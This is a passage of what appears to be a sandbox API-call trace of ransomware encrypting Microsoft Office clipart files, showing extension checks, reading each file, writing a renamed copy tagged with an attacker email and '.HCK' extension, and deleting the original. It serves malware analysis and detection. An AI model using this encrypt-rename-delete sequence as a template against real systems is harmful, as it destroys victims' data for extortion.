returned 1 [0158.667] lstrlenW (lpString=".rar") returned 4 [0158.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".bz2") returned 4 [0158.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.667] lstrlenW (lpString=".7z") returned 3 [0158.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.668] lstrlenW (lpString=".dbf") returned 4 [0158.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.668] lstrlenW (lpString=".1cd") returned 4 [0158.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68 [0158.668] lstrlenW (lpString=".jpg") returned 4 [0158.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.668] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.668] lstrlenW (lpString="FD00297_.WMF") returned 12 [0158.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.668] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=18194) returned 1 [0158.668] CloseHandle (hObject=0x36c) returned 1 [0158.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0158.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.668] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.668] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.669] GetLastError () returned 0x0 [0158.669] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4712, lpOverlapped=0x0) returned 1 [0158.670] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4720, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4720, lpOverlapped=0x0) returned 1 [0158.671] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.671] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.671] SetEndOfFile (hFile=0x300) returned 1 [0158.671] CloseHandle (hObject=0x300) returned 1 [0158.672] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.672] SetEndOfFile (hFile=0x36c) returned 1 [0158.673] CloseHandle (hObject=0x36c) returned 1 [0158.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString=".doc") returned 4 [0158.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".docx") returned 5 [0158.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.674] lstrlenW (lpString=".pdf") returned 4 [0158.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".xls") returned 4 [0158.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.674] lstrlenW (lpString=".xlsx") returned 5 [0158.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.674] lstrlenW (lpString=".ppt") returned 4 [0158.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString=".zip") returned 4 [0158.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.674] lstrlenW (lpString=".rar") returned 4 [0158.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".bz2") returned 4 [0158.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".7z") returned 3 [0158.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString=".dbf") returned 4 [0158.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString=".1cd") returned 4 [0158.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString=".jpg") returned 4 [0158.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.674] lstrlenW (lpString=".doc") returned 4 [0158.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".docx") returned 5 [0158.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.674] lstrlenW (lpString=".pdf") returned 4 [0158.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString=".xls") returned 4 [0158.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.674] lstrlenW (lpString=".xlsx") returned 5 [0158.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.674] lstrlenW (lpString=".ppt") returned 4 [0158.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0158.675] lstrlenW (lpString=".zip") returned 4 [0158.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.675] lstrlenW (lpString=".rar") returned 4 [0158.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.111] lstrlenW (lpString=".bz2") returned 4 [0159.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.111] lstrlenW (lpString=".7z") returned 3 [0159.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0159.111] lstrlenW (lpString=".dbf") returned 4 [0159.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0159.111] lstrlenW (lpString=".1cd") returned 4 [0159.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 68 [0159.112] lstrlenW (lpString=".jpg") returned 4 [0159.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.112] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.112] lstrlenW (lpString="FD00965_.WMF") returned 12 [0159.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.478] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=15164) returned 1 [0159.478] CloseHandle (hObject=0x2f0) returned 1 [0159.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0159.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.478] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.478] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0159.835] GetLastError () returned 0x0 [0159.835] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0159.837] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3b40, lpOverlapped=0x0) returned 1 [0159.843] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.843] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.843] SetEndOfFile (hFile=0x3a8) returned 1 [0159.843] CloseHandle (hObject=0x3a8) returned 1 [0159.844] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.844] SetEndOfFile (hFile=0x2f0) returned 1 [0159.845] CloseHandle (hObject=0x2f0) returned 1 [0159.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0159.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.845] lstrlenW (lpString=".doc") returned 4 [0159.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.845] lstrlenW (lpString=".docx") returned 5 [0159.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.846] lstrlenW (lpString=".pdf") returned 4 [0159.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString=".xls") returned 4 [0159.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.846] lstrlenW (lpString=".xlsx") returned 5 [0159.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.846] lstrlenW (lpString=".ppt") returned 4 [0159.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString=".zip") returned 4 [0159.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.846] lstrlenW (lpString=".rar") returned 4 [0159.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString=".bz2") returned 4 [0159.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString=".7z") returned 3 [0159.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString=".dbf") returned 4 [0159.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString=".1cd") returned 4 [0159.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString=".jpg") returned 4 [0159.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString=".doc") returned 4 [0159.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString=".docx") returned 5 [0159.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.846] lstrlenW (lpString=".pdf") returned 4 [0159.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString=".xls") returned 4 [0159.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.846] lstrlenW (lpString=".xlsx") returned 5 [0159.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.846] lstrlenW (lpString=".ppt") returned 4 [0159.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.846] lstrlenW (lpString=".zip") returned 4 [0159.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.847] lstrlenW (lpString=".rar") returned 4 [0159.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.847] lstrlenW (lpString=".bz2") returned 4 [0159.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.847] lstrlenW (lpString=".7z") returned 3 [0159.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.847] lstrlenW (lpString=".dbf") returned 4 [0159.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.847] lstrlenW (lpString=".1cd") returned 4 [0159.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0159.847] lstrlenW (lpString=".jpg") returned 4 [0159.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.847] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.847] lstrlenW (lpString="FD01074_.WMF") returned 12 [0159.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.847] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4634) returned 1 [0159.847] CloseHandle (hObject=0x2f0) returned 1 [0159.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0159.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.848] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.848] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0159.848] GetLastError () returned 0x0 [0159.848] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x121a, lpOverlapped=0x0) returned 1 [0159.859] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1220, lpOverlapped=0x0) returned 1 [0159.861] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.861] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.862] SetEndOfFile (hFile=0x3a8) returned 1 [0159.862] CloseHandle (hObject=0x3a8) returned 1 [0159.863] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.863] SetEndOfFile (hFile=0x2f0) returned 1 [0159.864] CloseHandle (hObject=0x2f0) returned 1 [0159.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0159.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.864] lstrlenW (lpString=".doc") returned 4 [0159.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.864] lstrlenW (lpString=".docx") returned 5 [0159.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.864] lstrlenW (lpString=".pdf") returned 4 [0159.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.864] lstrlenW (lpString=".xls") returned 4 [0159.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.864] lstrlenW (lpString=".xlsx") returned 5 [0159.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.865] lstrlenW (lpString=".ppt") returned 4 [0159.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".zip") returned 4 [0159.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.865] lstrlenW (lpString=".rar") returned 4 [0159.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString=".bz2") returned 4 [0159.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString=".7z") returned 3 [0159.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".dbf") returned 4 [0159.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".1cd") returned 4 [0159.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".jpg") returned 4 [0159.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".doc") returned 4 [0159.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString=".docx") returned 5 [0159.865] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.865] lstrlenW (lpString=".pdf") returned 4 [0159.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString=".xls") returned 4 [0159.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.865] lstrlenW (lpString=".xlsx") returned 5 [0159.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.865] lstrlenW (lpString=".ppt") returned 4 [0159.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".zip") returned 4 [0159.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.865] lstrlenW (lpString=".rar") returned 4 [0159.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.865] lstrlenW (lpString=".bz2") returned 4 [0159.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.865] 